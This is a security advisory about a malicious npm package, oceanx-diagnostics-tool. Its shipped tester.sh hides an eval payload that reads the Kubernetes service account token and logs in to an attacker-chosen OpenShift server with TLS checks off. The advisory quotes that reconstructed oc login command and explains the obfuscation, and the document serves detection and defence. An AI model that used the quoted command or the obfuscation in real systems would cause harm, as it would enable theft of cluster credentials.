MAL-2026-21083: Malicious code in oceanx-diagnostics-tool (npm)
--- -= Per source details. Do not edit below this line.=-
Source: amazon-inspector (645296b4d471f282eba9d99439ff378841ed403a0845235f9fb93cdb9537a10f) The package presents itself as an HTTP/DNS diagnostics tool but ships tester.sh, a shell script that uses single-character variable fragments concatenated and passed to eval to hide its payload. The reconstructed commands read the in-cluster Kubernetes service account token from /var/run/secrets/kubernetes.io/serviceaccount/token and run ./oc login --token=$DEBUGFILE --server=$SERV --insecure-skip-tls-verify, authenticating to a caller/attacker-supplied OpenShift server with TLS verification disabled. The string-fragment obfuscation is specifically shaped to defeat grep/static review and is inconsistent with the package's stated benign purpose. The script is not wired to an npm lifecycle hook and the declared main: index.js is absent from the tarball, so the payload does not auto-execute on npm install or require(); it runs only when the shipped tester.sh is explicitly invoked (for example via the scripts.send entry or manual execution inside a pod). The package's shipped content is nonetheless a ready-to-run credential-theft tool targeting Kubernetes workloads that install it.
Affected Software
Event History
Frequently Asked Questions
Does installing or importing the package automatically run the payload?
No. The script is not connected to an npm lifecycle hook, and the declared index.js entry point is absent from the tarball. The payload runs only if tester.sh is explicitly invoked, such as through the scripts.send entry or manual execution inside a pod.
Which environments are at risk if the script is run?
Kubernetes workloads are at risk when tester.sh runs in a pod with a service account token at /var/run/secrets/kubernetes.io/serviceaccount/token. The script reads that token and uses it to authenticate to a caller-supplied OpenShift server while disabling TLS certificate verification.
How can I assess whether this package was used to expose a cluster credential?
Check whether oceanx-diagnostics-tool is present and whether its shipped tester.sh script, including the scripts.send command, was invoked in a Kubernetes pod. Review for executions of oc login using a service account token and the --insecure-skip-tls-verify option.